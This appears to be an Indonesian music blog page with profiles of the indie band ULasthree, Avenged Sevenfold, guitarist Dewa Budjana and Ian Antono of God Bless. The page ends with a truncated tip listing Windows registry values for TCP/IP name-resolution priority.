ULasthree, (band indie Brebes)

17 komentar



ULasthree,
band yang terbentuk pada awal Nopember 2007 atas dasar kekeluargaan, kebersamaan, toleransi serta komitmen pada visi dan misi yang sama dari pemikiran para personil yang selalu eksist bermain musik hingga saat ini yaitu Army Infandriarto (Guitar Melody), Vaiz (Vai) (Guitar Rythm), Iyang (Bass) dan Serenada (Vocal).

ULasthree sebuah kata sederhana tapi memiliki arti yang sangat dalam. ULasthree mencurahkan tenaga dan pikiran dalam bermusik dan berusaha menciptakankarya-karya musik yang layak dinikmati orang lain.

Dengan tidak membatasi ruang pikir ULasthree dalam bermusik, maka dikomposisikan berbagai warna & style musik dari masing-masing player dalam kerangka permainan band ini.

ULasthree dalam kegiatannya di atas panggung didukung oleh beberapa orang yang tergabung dalam team yang bertujuan membantu performa ULasthree dalam pementasan. Adapun beberapa orang yang tergabung dalam team yaitu :
Henky - Team Mgr.
Bunga - Asst. Mgr.
Adi Assegaf - PR
Firdaus - Merch, Attribut, etc.
Dewi - Accounting
Fajar - Crew & supporting
Fanny - Crew & supporting
Arya - Crew & supporting

ULasthree band sering mengisi beberapa acara yang diselenggarakan oleh Organizer. Beberapa event yang sering diikuti Ulasthree diantaranya adalah sebagai berikut :
1. Gebyar Malam Tahun Baru 2007 sebagai Bintang tamu di Pantai Randusang Indah
2. Brebes Otomotif Rendezvous 2007 sebagai Bintang Tamu di GOR Brebes.
3. Gebyar Undian Berhadiah 2007 di Rita Mall sebagai Bintang Tamu.
4. Gudang Garam Festival Band 2007 sebagai Bintang Tamu.
5. New Year Party 2008 Musik Terapung di Setty Family sebagai Bintang Tamu.
6. Pekan Ilmiah Osis se-karsidenan tahun 2008 sebagai Band Pengisi di SMA 2 Brebes.
7. Anniversary HMPC Tingkat Nasional tahun 2008 sebagai Bintang Tamu.
8. Festival Band Lebaran tahun 2008 di Pantai Randusanga sebagai Bintang Tamu.

Management & Home Base :
Jl. Mayjend. Sutoyo 15 A Brebes 52212 - Jawa Tengah
Phone : 0283 - 671818
Contact Person : 0815 4810 2001 (Mr. Vai) | 0283-671818 (Dewi)
Mail/FS/FB : ULashtree_band@yahoo.com
Blogweb : http//Ulasthree.blogspot.com
Website : Brebes_Indie.com

Link dOwnload Lagu Ulasthree:
  1. Apakah kau mencintaiku
  2. Kelain Hati
  3. Mencintaimu
  4. Karena Tingkahmu
  5. Karena Kutau
  6. Petualang cinta

Photobucket

Avenged SevenFold profile

7 komentar




Band yang udah dua kali manggung di Indonesia ini terbentuk tahun 1999 di Huntington Beach, California. Nama Avenged SevenFold yang artinya pembalasan tujuh kali lipat diambil dari salah satu ayat di Kitab Kejadian Perjanjian Lama. Dulu itu formasi awal mereka masih belum kayak sekarang. Mereka cuma bertiga yakni M. Shadows (vocal), Zacky Vengeance (gitar), The Rev (drum) dan pemain bass yang gak pernah tetap. Sejak kecil mereka udah saling kenal satu sama lain. Dan anak – anak muda ini keitung udah cukup pede loh dengan usaha ngerilis mini album yang terdiri dari lagu demo – demo mereka. Ditaon 1999 mereka ngerilis demo berisi tiga lagu. Ditaon 2000, mereka ngerilis lagi demo yang berisi 5 lagu. Demo – demo inilah yang pada akhirnya nganterin mereka menuju kontrak dengan label.


Masih ditaon 2000, cowo – cowo gagah ini ngerilis satu demo lagi yang berjudul Walking the Fallen Demo sebelum Good Life Recordings (salah satu label indie) ngajakin mereka untuk ngerilis album beneran. Pas ngerjain album yang dikasih nama Sounding the Seventh Trumpet ini rata – rata umur personil Avenged SevenFold masih 18 tahun. Synyster Gates baru juga mulai ikutan gabung disini dan Cuma ikut nyumbang permainan di satu lagu yang berjudul To End the Rapture. Album ini rilis diawal tahun 2001. Dan 2 taon kemudian, dibawah bendera Hopeless Record, A7X ngerilis album berjudul Walking the Fallen. Album LP kedua ini boleh dibilang sebuah album yang bersejarah.

Soalnya di album inilah Johnny Christ mulai ikutan jadi pemain bass. Truss, album ini juga menjadi album terakhir yang menyisakan sound metalcore dan sceam-nya Shadows yang khas. Udah gitu, biarpun dirilis sama label indie, nih album laku terjual samape 370.000 kopi! Sedaaaappp. Dan gara – gara prestasi album ini juga, Label Warner Bros Records mulai tertarik ngelirik anak – anak muda yang sekujur tubuhnya dipenuhin tato itu. Bulan Juni 2005, dengan kerjasama bareng Warner Bros, A7X ngerilis album berjudul City of Evil. Singel Bat Country yang dijadiin jagoan langsung ngedongkrak penjualan album ke angka yang lumayan. Tapi buat penggemar yang udah ngikutin album A7X dari yang sebelumnya, notasi album yang sekarang keitung lebih nge-pop. Banyak orang menduga, perubahan konsep yang berbeda dari album – album sebelumnya ini disebabkan gangguan tenggorokan yang dialami shadows. Shadows yang sempet ngejalanin operasi tenggorokan pun menyangkal isu itu. Katanya sih, album City of Evil ini memang dikonsep tanpa scream sama sekali. Dari sukses album ketiga itu, nasib kelima pemuda ini kelihatan makin terang. Apalagi mereka juga mulai ikutan diundang buat manggung di pagelaran akbar semacem Ozzfest gitu. Makin mantep aja!! Dan mereka pun gak usah pakek nunda waktu lagi. Mumpung masih anget, album selftitled (Avenged Sevenfold) pun dirilis taon 2007 dengan ngandelin single Critical Acclaim. Dan kelar album ini nama mereka pun makin meroket sebagai band yang kembali ngidupin scene heavy metal dunia.




Link dOwnload concert :

http://rapidshare.com/files/233473120/avanged_sevenfold_1_converted.3gp.html

http://rapidshare.com/files/233475777/avanged_sevenfold_2_converted.3gp.html

http://rapidshare.com/files/233480706/avanged_sevenfold_3_converted.3gp.html




Photobucket

dewa budjana profile

1 komentar



Ketertarikan dan bakat Dewa Budjana pada musik – khususnya gitar – sudah sangat dominan terlihat sejak ia masih duduk di bangku sekolah dasar di Klungkung Bali. Saat itu yang ada dalam benak Budjana kecil mungkin udah penuh dengan bayangan gitar, gitar……..dan gitar aja. Sampe-sampe di benak doi yang masih hijau itu bayangan gitar yang selalu ada itu terimplementasi menjadi suatu rencana “kejahatan kecil”. Doi pengen banget punya gitar. Mau minta langsung ama kakek/neneknya (saat itu doi tinggal/ikut kakeknya) dioi pikir pasti nggak bakal dikasihlah. Makanya akhirnya timbul niat “jahat” tadi, yaitu nyuri uang kakeknya untuk beli gitar. Bak penjahat profesional yang mau beroperasi, segala sesuatunya sudah betul-betul matang direncanakan. Kebetulan kakek neneknya adalah pelantun kidung / kakawin. Setiap Sabtu pasangan itu selalu “live on air” di RRI Klungkung melantunkan kakawin-kakawin. Nah, ini kondisi yang ter-planning di benak sang ‘penjahat’ kecil Dewa Budjana. Seperti lazimnya rumah-rumah di Bali, dalam satu keluarga komposisi rumah selalu ada rumah induk yang dan rumah-rumah di sekelilingnya. Kakek-nenek Budjana tinggal di rumah induk yang setiap mereka berdua pergi selalu dikunci rapat. Rencana “operasi gitar perdana” (begitu ‘kali kalo diberi judul) sudah betul-betul matang. Sebelum kakek-nenek berangkat ke RRI sang ‘penjahat’ sudah menyelinap ke rumah induk dan sembunyi di bawah kolong. Begitu kakek-nenek pergi dan mengunci rumah dari luar, otomatis sang ‘penjahat’ bisa leluasa beroperasi. Operasi itu rupanya termasuk operasi kilat, nggak nyampe bilangan belasan menit Budjana sudah berhasil mengantongi sepuluh ribu rupiah dan kabur lewat jendela (dikit banget yah hasil jarahannya ; namanya juga penjahat kecil-kecilan).


Nama asli / lengkap : I Dewa Gede Budjana
Tempat / tgl lahir : Waikabubak, 30 Agustus 1963
Motto hidup : " TAT TWAM ASI "
Musisi favorit : Keith Jarret , Jeff Beck , Jaco Pastorius
Jenis music favorit : Traditional
Album solo : - ALBUM SOLO "NUSA DAMAI" (1997)
- ALBUM ROHANI "NYANYIAN DHARMA" (1998)
- ALBUM SOLO "GITARKU" (2000)
- ALBUM SOLO "SAMSARA" (2003)
Group : - SQUIRRELL (1980 - 1985)
- SPIRIT (1989 - 1992)
- JAVA JAZZ (1993 - 1994)
- GIGI (1994 - Sekarang)
Website pribadi : dewabudjana.com

Besoknya Budjana tak sabar lagi segera cabut ke Denpasar untuk merealisasikan obsesinya selama ini. Akhirnya……….dia pun sukses membawa gitar akustik lokal tanpa merek (buatan Solo) pulang ke Klungkung. Dan…….pas banget, harga gitarnya juga sepuluh ribu rupiah. Itu adalah gitar pertama yang dia miliki sepanjang karirnya di musik. Sayang sekali gitar bersejarah itu sudah nggak jelas lagi juntrungnya. Kalo ada akan semakin perfect-lah jajaran koleksi gitar Budjana yang sekarang sudah mencapai jumlah sekitar tiga puluhan itu. (mendampingi gitar elektrik pertamanya yang berhasil diburu lagi setelah sempat dijual)

Dengar Budjana mulai genjrang-genjreng dengan gitar barunya, sang nenek pun (yang udah tahu kalo duitnya ilang Rp 10.000) langsung mafhum. Nyamperin Budjana yang lagi asyik dengan gitar barunya dan langsung dengan sedikit puitis (dasar pelantun kidung) ngomong ke doi : “Tadi malam aku mimpi kehilangan duit Bud…….”, ujar sang nenek. Budjana pun langsung berubah casting dari ‘penjahat’ menjadi ‘ksatria’, “Oh iya, itu memang aku yang nyuri”, aku Budjana polos. “Aku nyuri buat beli gitar”, sambung Budjana. Dan sang nenek udah nggak bisa apa-apa lagi. Beressss……..urusan casting ‘penjahat’ udah kelar, sekarang mulai casting peran baru dan panjang…….gitaris!

Wah, kayaknya casting gitarisnya belum clear bener dari pengaruh casting ‘penjahat’.

Sejak punya gitar Budjana jadi rada lesu darah untuk sekolah. Maunya gitaran terus aja sepanjang hari. Jelas itu bukan jenis kemauan yang bakal direstui sesepuh. Nah di sini nih casting ‘penjahat’nya masih ada. Whatever, bagi Budjana nomore satu adalah gitar. Jadi kalo jam berangkat sekolah dia pun pake seragam dan pamit ama kakek-neneknya berangkat sekolah. Akan tetapi………….karena lokasi kamarnya terpisah dari rumah induk dia pun dengan mudah setelah pamit sekolah puter balik kembali ke kamarnya dan langsung ‘menggauli’ gitarnya lagi sampe saat jam pulang sekolah langsung lanjut adegan ‘adegan sinetron’ pulang sekolah. Pake sepatu lagi, keluar kamar muter sedikit dan langsung balik ke rumah induk, say hello ama grandfa en grandma seakan pulang sekolah (he..he..he…bisa aja elo Budj!)

Ditanya soal materi apa aja yang dia ulik dengan gitarnya itu sepanjang hari, mengingat waktu itu jelas referensi untuk belajar gitar jelas minim banget – apa lagi untuk kota sekaliber Klungkung. “Yaah…cuman denger-denger dari kaset aja….sama ngarang-ngarang sendiri”, jelas Budjana. “Lagu pertama aku belajar gitar waktu itu lagunya Deddy Dores ‘Hilangnya Seorang Gadis’ dan lagunya Rollies ‘Setangkai Bunga’”, kenang Budjana. Saat itu Budjana sama sekali belum tersentuh literatur-literatur musik/gitar yang formal. Buru-buru buku gitar, untuk bisa ngikuti perkembangan musik – khususnya di Indonesia – aja dia harus bela-belain ke Denpasar tiap minggu untuk beli majalah Aktuil (satu-satunya majalah berita musik yang terbit di tahun tujuhpuluhan itu). Fenomena ini juga bisa ngegambarin gimana intensnya interes Budjana ke musik. Temen-temen sebayanya saat itu nggak bakal deh bela-belain tiap minggu ke Denpasar pulang balik hanya buat beli Aktuil. Lagian paling juga Budjana aja di lingkungan temen SD-nya yang tertarik ama majalah Aktuil. Paling bacaan mereka juga sejenis majalah Bobo gitu.

Tahun 1976 Budjana ikut bokapnya yang dipindahtugaskan ke Surabaya. Di Surabaya inilah tapak karirnya di musik semakin jelas. Dia melanjutkan sekolah di SMP Negeri I dan kebetulan sekolah yang satu ini kegiatan ekstra kurikulernya cukup oke punya, khususnya di sektor ekstra kurikuler musiknya. Tiap tahun sekolah ini menggelar malam kesenian untuk menampung aspirasi murid-muridnya di bidang seni.

Dan di SMP I ini pula Budjana mendapat pengalaman manggung pertama kali. Saat persiapan malam kesenian seperti biasa diadakan seleksi (audisi) buat murid-murid yang ingin tampil. Dan Budjana pun ikut ngedaftar dengan materi lagu andalan saat pertama kali dia bisa main gitar : “Setangkai Bunga”.

Tiga tahun dia menambah pengalaman dan jam terbangnya berolah musik dalam kegiatan-kegiatan ekstra kurikuler di SMP I. Pucuk dicinta ulam tiba. Dia di Surabaya lebih bisa memuaskan kehausannya pada ilmu-ilmu bermusik secara lebih formal. Budjana mulai belajar gitar klasik kepada Pek Siong di Yayasan Seni Musik Indonesia . Sementara selama dia di Klungkung referensi musiknya masih sangat terbatas. Di Surabaya dia mulai mengenal dan tertarik pada jenis musik-musik lain yang sebelumnya belum dia kenal karena keterbatasan referensi tadi. Budjana mulai tertarik dengan John Mc Laughlin (Mahavishnu Orchestra) dan bahkan jadi mengubah visi bermusik Budjana. Album “Birds of Fire” dan “Natural Element” (Shakti) adalah album Mc Laughlin yang menjadi favorit Budjana. Selain itu dia juga cukup interes dengan musik-musik artrock semacam Yes, Gentle Giant dan lainnya.

Lulus SMP Budjana melanjutkan ke SMA Negeri 2 tahun 1980. Tak beda jauh dengan saat di SMP I, SMA 2 pun kegiatan musiknya sangat oke! Bahkan lebih intens. Saat di SMA ini Budjana mulai mendengarkan Pat Metheny dan ini sangat terpengaruh pada pola dan cara bermain gitar Budjana. Juga album-album produksi ECM seperti John Abercrombie, Keith Jarret dan Bill Frissel.

Tahun 1981 Budjana bersama beberapa temannya di SMA 2 membentuk Squirell Band dan bersama band inilah Budjana semakin berkiprah di blantika musik. Secara rutin Squirell mengisi acara jazz di TVRI stasiun Surabaya, juga panggung-panggung sekolah dan kampus di Jawa Timur dan Jawa Tengah. Puncak prestasi Squirell adalah saat berhasil meraih juara I Light Music Contest di Jakarta tahun 1984. Saat itu Squirell membawakan komposisi Dewa Budjana “Nusa Damai”. Yang unik saat itu Budjana memakai fretless guitar desainnya sendiri (dengan body berbentuk bintang) yang sekarang sudah menjadi salah satu pajangan di Hard Rock Café Jakarta bareng gitar-gitar para gitaris dunia.

Tahun 1985 Budjana hijrah ke Jakarta dengan pertimbangan bahwa peluang untu mengembangkan karir di Jakarta lebih luas terbuka. Selain itu dia merasa teman-temannya bermusik di Surabaya dirasa nggak terlalu total ke musik, nggak seimbang dengan dia yang bener-bener total di musik dan itu dianggap akan menghambat karirnya secara individu maupun secara grup.

Mulailah sang ‘penjahat’ kecil membuka lembaran baru di ibukota.
Jurus Melawan Rutinitas Jakarta

Setelah berada di tengah-tengah ramenya Jakarta tahun 1985, apa yang dilakukan Budjana?

Merasa udah pernah meraih juara bareng Squirell di Light Music Contest setahun sebelumnya, Budjana menganggap sudah banyak orang tahu dan mengenal dirinya dia sebagai musisi. Belakangan terbukti dia cuma ge-er.

Ceritanya, berbekal referensi bahwa Squirell Band yang punya komposisi jazz sendiri, Budjana nekat datang ke pub untuk mulai menjajagi dunia entertain, lalu nyoba-nyoba nge-jam ama grup yang sedang main. Apa yang terjadi? Saat disuruh main lagu jazz standar yang termasuk gampang pun, ternyata dia nggak mampui nggak bisa.

Dari situ Budjana baru sadar manfaat belajar jazz standar. Budj (begitu panggilan akrabnya) langsung aja nemuin almarhum Jack Lesmana, maestro jazz kita, dan kepada bokap Indra Lesmana ini Budj ‘mendaftarkan’ diri sebagai murid. Memang nggak salah alamat kalo pengagum Mahatma Gandhi ini berguru pada Jack Lesmana, dari beliau Budj banyak mengenal dan mendapatkan filosofi-filosofi bermain jazz, termasuk – tentu saja -- standard jazz.

Lantas, kenapa memilih jazz? Budjana berkisah, awalnya karena pengaruh tren musik saat pertama dia mulai intens di musik. Di akhir tahun 70-an saat Budjana masih SMP di Surabaya, yang sedang ngetren adalah musik-musik yang saat itu diistilahlan sebagai jazz rock atau juga jazz kontemporer. Banyak kaset-kaset yang beredar dengan label atau judul “Contemporary Jazz”, “Jazz Vocal” dan sebagainya dengan materi seperti musisi Al Dimeola, John Mc. Laughlin ataupun grup-grup seperti Weather Report, Return to Forever, dll.

Budjana mengaku banyak belajar dari situ. Saking seringnya tampil bersama Squirell-nya dalan event jazz di Surabaya, akhirnya orang lebih mengenal Budjana sebagai pemain jazz. Padahal Budjana dan temen-temennya di Squirell sebenarnya nggak ada yang nguasain jazz secara yang sebenarnya. Di lingkungan musisi jazz sudah membudaya kalo lagi ngumpul-ngumpul secara spontan mereka akan main bareng, istilahnya nge-jam. Ternyata, setiap kali kesempatan itu datang anak-anak Squirell selalu mati kutu. Jazz bohong-bohongan dong?

“Yah mungkin waktu itu kita cuma kebawa tren aja, jadi rada ada sok jazz-nya lah, cuma kenal kulitnya doang. Nggak mikir bahwa perlu belajar serius dari yang standar”, kilah Budjana. Melewati masa itu menurut Budjana ada bagusnya juga. “Kita jadi punya bekal dan terasah untuk menjadi senang bikin komposisi sendiri”, ujarnya. Kreasinya yang pertama untuk komposisi combo berjudul Legong Kusamba.

“Sebelum itu sih sering juga ngarang-ngarang untuk kebutuhan operet di sekolah, tapi sifatnya ya hanya sepenggal-sepenggal aja sesuai dengan kebutuhan cerita”, jelas penggemar warna biru ini.

Setelah merasa cukup punya bekal dari sang suhu, tahun 1986 Budjana ‘turun gunung’ mulai berkiprah dari pub ke pub sebagai session player memainkan top 40 dan musik-musik lain konsumsi dunia hiburan malam. Selain itu juga main di klub-klub jazz. Itu berlangsung sampai tahun 1993. Ditanya soal dampak positif-negatifnya main rutin di dunia hiburan malam selama itu Budjana menjelaskan, “Kami jadi lebih mengenal dan lebih peduli tentang sound (warna suara) khususnya kalo kami bawain top 40 sebab kami kan bawain macam-macam lagu. Kami jadi mengenal berbagai jenis lagu. Selain itu menambah reflek kami dalam bermain musik, dengan seringnya main kalo kami denger satu chord, kamiharus main ke mana, mainin yang gimana jadi bisa lebih reflek ngikutinnya”.

“Satu lagi, kami bisa belajar menghargai orang lain, dalam hal ini adalah tamu-tamu pub. Kami nggak bisa main semaunya sendiri tanpa mempedulikan selera tamu”, lanjut Budjana. Dampak negatifnya menurut Budjana kelamaan main di pub cenderung menghilangkan kreativitas.

“Untungnya waktu itu aku masih sering ke Farabi (yayasan/sekolah musik. red.) Ngajar, terus kadang-kadang latihan dengan formasi trio, walaupun frekuensinya kecil paling tidak aktivitas berkreasi masih terjaga”, sambungnya.

Pada umumnya segala aktivitas yang sifatnya rutin tanpa penyegaran-penyegaran akan membuat kita jadi jenuh, suntuk, mentok dan akhirnya mandeg. Untuk mengantisipasi itu Budjana punya kiat rada unik. Saat dia rutin memainkan jazz standar di klub-klub jazz, di luar itu sehari-harinya dia malah dengerin lagu-lagu pop seperti milik Toto. Sebaliknya saat di udah gabung ama Hydro – yang dominan bawain lagu-lagu sejenis Toto – dia malah sering dengerin lagu-lagu jazz standar. Biar seimbang, mungkin itu maksudnya.

Budjana memang lolos dari jebakan rutinitas ‘main malam’ (istilah musisi untuk main rutin di pub, café atau klub)., karena di samping itu juga aktif sebagai session player di dapur rekaman, di konser-konser big band/orchestra juga sempat gabung dengan beberapa band.

Awal Budjana hijrah ke Jakarta sempat gabung dengan Indra Lesmana Group. Juga sebagai gitaris di Jimmy Manoppo Big Band, Orkes Telerama, Elfa’s, Twilite Orchestra, Erwin Gutawa Orchestra dan lain-lain. Tentu saja aktivitas-aktivitas itu menuntut kemampuan dalam membaca dan memahami not secara prima. Di sini Budjana lebih banyak lagi belajar membaca not dan makin banyak mengenal karakter musik.

Sebagai session player di dapur rekaman cukup banyak juga petikan gitarnya menghiasi album rekaman seperti : Catatan si Boy 2, Indra Lesmana, Andre Hehanusa, Heidy Yunus, Memes, Chrisye, Mayangsari, Dewi Gita, Desy Ratnasari, Potret, Trakebah, Caesar (Deddy Dores), Nike Ardila, dll.

Tahun 1989 Dewa Budjana gabung dengan Spirit Band dan sempat menghasilkan dua album. Yang pertama dirilis tahun itu juga dengan judul yang sama dengan nama grupnya, “Spirit” , dan yang kedua dirilis pada 1993 dengan judul “Mentari” yang diambil dari judul lagu karya kolaborasi Budjana (lagu) & Ingrid Widjanarko (lirik). Lepas dari Spirit, pengidola Bill Frissel ini gabung ama Indra Lesmana, Embong Rahardjo dan lainnya membentuk Java Jazz dan bermain rutin di Jamz. Setahun kemudian Java Jazz ikut ambil bagian di perhelatan akbar musisi jazz dunia North Sea Jazz Festival di Den Haag Belanda. Tahun itu juga grup jazz ini menelurkan album dengan judul Bulan di Atas Asia.

Pada 1992 Budjana pernah menyampaikan keinginannya untuk membentuk grup band dengan dua pemain gitar. Keinginannya tersebut baru terwujud dua tahun kemudian, yaitu pada 1994. Dia membentuk band dengan formasi dua gitaris, berpasangan dengan Baron. Band itulah yang sekarang kamu kenal dengan nama GIGI.

Nggak kejebak rutinitas di GIGI Budj? “Pasti terjadi juga, kayak saat tur Kilas Balik 33 kota pasti timbul kejenuhan, bedanya kalo di GIGI kan dalam rutinitasnya masih ada rutinitas aktivitas berkarya, nggak seperti ‘main malam’ yang terus memainkan lagu orang. Itu yang paling bahaya!”, tandasnya.

“Lagipula di GIGI kan kerja tim. Dalam proses kreatif bisa saling mengisi, kalo yang satu lagi turun mood-nya yang satunya mood-nya lagi bagus. Jadi proses kreatif secara tim akan terus berjalan”, lanjutnya. Selain itu Budjana membuat komposisi-komposisi untuk album solonya juga merupakan satu bentuk penyegaran yang lain dari aktivitas di GIGI. Makanya dia punya target paling tidak dua atau tiga tahun sekali dia rencanakan bikin album solo di tengah program album GIGI yang targetnya setahun sekali.

Tahun 1997 Budjana menelurkan album solo pertamanya dengan judul “Nusa Damai” yang merupakan kumpulan komposisinya sejak awal doi mengenal gitar. Banyak pemerhati musik menyebut Nusa Damai sebagai otobiografi perjalanan musik gitaris penggemar film action ini. Di salah satu nomor album ini (“Ruang Dialisis”) Budj melibatkan almarhumah neneknya – yang duitnya pernah dicuri ‘Budjana kecil’ untuk beli gitar (baca edisi Juni) – untuk melantunkan kidung. Tahun ini Budjana juga sudah merampungkan album solo keduanya yang diberi judul “Gitarku” yang tinggal tunggu jadwal rilis aja.

Ditanya tentang gimana membagi waktu antara kegiatannya di GIGI dengan program solonya yang mungkin nantinya akan menyita banyak waktu, misalnya, untuk promo dan konser-konsernya, dia menjawab mantap: “GIGI tetap prioritas utama!” (baca box: Ketika Budjana Harus Memilih).
Ketika Budjana Harus Memilih….

Bak judul sebuah sinetron, begitulah kehidupan Dewa Budjana. Baginya, GIGI merupakan bagian terbesar dari perjalanan karirnya sebagai gitaris. Karena itu, ketika ditanya kemungkinannya untuk cabut dari grup tersebut, dia menjawab dengan mantap. “Nggak mungkinlah aku ninggalin GIGI, kecuali ada kondisi-kondisi yang nggak memungkinkan lagi aku bareng anak-anak GIGI lainnya di Jakarta”. Maksudnya, mungkin aja kan terjadi kasus-kasus seperti di Ambon atau lainnya yang udah menyangkut SARA. Mau nggak mau dia bakal ngacir ke Bali. “Kan nggak mungkin aktivitas GIGI berpusat di Bali”, katanya berandai-andai.

Kekhawatiran mungkin Budjana terlalu berlebihan. Maka, hal itu sebaiknya lebih dilihat sebagai ungkapan rasa cintanya pada GIGI. Atau sekadar basa-basi?

“Selama aku pernah ngengrup sebelum GIGI dan dari pengamatanku pada grup-grup yang ada, kayaknya di GIGI lah ku temui bentuk toleransi yang paling bagus”, begitu alasannya. “Sebetulnya kurang objektif kalo aku yang ngomong soal ini, karena aku ada di dalamnya. Harusnya orang lain ya yang ngomong. Tapi kenyataannya ya gitu itu yang aku rasakan”, sambungnya.

Memang dalam sebuah grup musik selain faktor teknis maupun non teknis, toleransi antar personel adalah faktor yang tak kalah penting. Perjalanan GIGI dari awal terbentuknya memang tidak mulus. Hengkangnya Baron, cabutnya Thomas, keluarnya Ronald, kemudian masuknya Budhy dan Opet dilanjut dengan resign-nya Opet dan kembalinya Thomas merupakan guncangan-guncangan beruntun yang menguji kekokohan GIGI. Dan waktu telah membuktikan bahwa Budjana-Armand cukup tegar dalam mempertahankan eksistensi GIGI.

Seperti diketahui, Dewa Budjana sempat merilis album solo berjudul, Nusa Damai, yang bernuansa personal dan jauh dari unsur komersialisme. Tapi tak tertutup kemungkinan bahwa jenis musik seperti ini suatu saat bakal bisa diterima. Dengan catatan strateginya mendapat perlakuan yang sama. Artinya, di situ ada perencanaan, kerja sama dengan berbagai kalangan, dan lain sebagainya. Ini kan hal yang menarik.

Budjana sendiri bukannya tidak menginginkan kondisi-kondisi seperti itu. Tapi, baginya toleransi hal yang paling penting. “Yang sulit dalam hidup ini kan toleransi…dan di GIGI toleransi itu sangat bagus”, ujarnya. Dia lantas bercerita tentang Armand Maulana yang lebih sering punya peluang untuk berkarier sendiri di luar grup, kayak jadi presenter, model iklan, atau apa pun. Toh kenyataannya peluang itu nggak pernah diambil. Lantas Budhy Haryono, misalnya. Tahun lalu pernah mendapat tawaran untuk ikut konser atau workshop selama beberapa minggu di Australia. Tawaran yang bagus itu nggak diambil karena GIGI jadwalnya lagi padat.

“Aku pun begitu, GIGI adalah prioritas utama. Kalo aku bikin album solo, itu sekadar media untuk menyalurkan ekspresi dan kreativitas aja”, jelas gitaris yang suka traveling ini. “Sifatnya lebih eksklusif, kalo GIGI konsernya bisa padat banget (setahun bisa sampai 68 kali show. red), untuk soloku misalnya dalam bentuk konser gitar okestra setahun cuman empat kali udah cukup buat aku. Sekadar pengen ada aja sebagai simbol album soloku”, sambungnya. “Karena nggak mungkin ngejalanin bareng-bareng dengan kapasitas yang sama. Nggak mungkin bisa didapat dua-duanya”, lanjutnya lagi.


Photobucket

profile ian antono(god bless)

0 komentar



Nama Asli : Jusuf Antono Djojo
Tempat/Tgl Lahir : Malang, 29 Oktober 1950
Gaya Permainan : Rock, Etnik Rock
Group Band Sebelumnya : Gong 2000, Sapta Nada, Bentoel, AKA
Group Band Sekarang : God Bless
Pengaruh musikal : Eric Clapton, The Shadows
Gitar Yang Digunakan : Gibson Les Paul Standar, Gibson SG Double Neck, Hamer, Kramer Tracer, Fender Stratocaster, Ibanez JEM 77, Washburn N-4, Gibson Les Paul Deluxe, Ovation Elite, Gibson Chat Atkins, Martin CMF, Martin EST 12 senar, dan Seagull
Ampli : Messa Boogie Strategy 400, Marshall JCM 900 1960, Trace Elliot AC-100, Messa Boogie Quad, Messa Boogie Tri Axis
Efek : Roland GP8. Harmonizer Eventid H-3000S

Pada awalnya ia merupakan seorang drummer, namun setelah mendengar musik-musik The Shadows ia mulai berminat menjadi gitaris. Ia pun akhirnya bergabung dengan band Abadi Soesman yang waktu itu namanya cukup diperhitungkan. Tahun 1970 ia hijrah ke Jakarta dan bergabung dengan band Bentoel yang menjadi pengiring bagi penyanyi Emilia Contesa dan Trio The King. Semakin lama ia semakin mendapat pengalaman dan memperluas pergaulan. Akhirnya tahun 1974 ia resmi menjadi gitaris God Bless dan merilis album-album seperti Huma Diatas Bukit (1975), Cermin (1980), Semut Hitam (1989). Nama Ian Antono mulai menarik perhatian karena pada saat itu atmosfer musik rock di Indonesia belum ada yang memulai. God Bless lah yang pertama kali mempelopori. Secara otomatis Ian juga menjadi gitaris pertama yang berkibar di jalur rock Indonesia. Setelah itu ia mundur dari God Bless dan bergabung dengan grup Gong 2000 dan merilis album-album seperti Bara Timur (1991), Laskar (1994), dan Prahara (1996).


Sewaktu masih memperkuat God Bless permainan Ian berbeda dengan semasa ia memperkuat Gong 2000. Di Gong 2000 ia banyak memasukkan unsur musik Bali. Hal itu dibuktikan pada setiap penampilannya, Ian setidaknya mengikutsertakan 20 musisi asli Bali. Tahun 1997, Ian kembali memperkuat God Bless dan berduet dengan Eet Sjahranie yang masih berstatus sebagai gitaris God Bless. Konsep double gitar ini cukup menarik perhatian meski pada akhirnya album Apa Kabar? gagal dipasaran.

Ian Antono juga merupakan sosok seorang musisi yang produktif. Dalam setahun beliau bisa menggarap album untuk beberapa penyanyi. Banyak album yang tidak lepas dari sentuhan hangatnya termasuklah Iwan Fals, Anggun C Sasmi, Nicky Astria, Doel Sumbang, Gilo Rollies, Ebiet G Ade, Ikang Fawzie dan banyak lagi. Karya Ian Antono di arena muzik telah menerima banyak penghargaan. Antaranya ialah BASF Award (1987 - 1988) untuk Arranger Terbaik dan Komposer Terbaik untuk album Gersang (Nicky Astria), HDX Award (1989) untuk lagu Buku Ini Aku Pinjam (Iwan Fals), BAFS Award (1989) Album Bara Timur (Gong 2000) sebagai The Best Selling Album dan The Best Arranger & Composer, HDX Award (1994) untuk album Laskar (Gong 2000) sebagai Album Terbaik. Yang tidak kalah pentingnya adalah penghargaan dari Diamond Achievement Award atas dedikasi dan prestasi yang tinggi di industri musik pada tahun 1995.

Sebuah pengalaman yang menarik bagi Ian adalah ketika pada tahun 1999 ia diundang oleh Ramli Syarif untuk ikut memeriahkan ajang Formula-1 di Malaysia. Bagi Ian ini bukan pengalaman biasa, pasalnya disana turut hadir pula grup kolaborasi dewa gitar dunia, G3 dan grup rock legendaris Jethro Tull. Dengan memanfaatkan sesi check sound, Ian mempelajari perangkat milik Steve Vai yang jumlahnya banyak. Dari situ ia menambah ilmu dan wawasan yang belum pernah ia dapatkan di Indonesia.

Kebesaran nama dan kontribusinya bagi dunia musik Indonesia membuat para musisi muda Indonesia menggelar proyek album A Tribute To Ian Antono yang dimeriahkan oleh artis-artis musik Indonesia seperti EdanE, Sheila On 7, Padi, Gigi, Cokelat, Boomerang, /rif, dll. Album ini sukses di pasaran. Kini Ian Antono dikabarkan kembali siap mengibarkan God Bless ke kancah musik nasional. Kita tunggu aksinya.

Ian Antono pada tahun 2007 ini sering memakai Gibson Les Paul standar dan juga Gibson SG double neck. Untuk perangkat latihan dirumah ia memakai Marshall, namun untuk LIVE dan rekaman di studio ia menggunakan Mesa Boogie. Tak ada efek macam-macam yang ia gunakan selain sebuah delay.


Photobucket

Speed Up Internet

2 komentar

Windows 2k/XP

1. First, open the Windows Registry using Regedit, and (after backing up) navigate to:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\ServiceProvider
2. Note the following lines (all hex dwords):
Class = 008 ( biggrin.gif - indicates that TCP/IP is a name service provider, don't change
LocalPriority = 1f3 (499) - local names cache
HostsPriority = 1f4 (500) - the HOSTS file
DnsPriority = 7d0 (2000) - DNS
NetbtPriority = 7d1 (2001) - NetBT name-resolution, including WINS
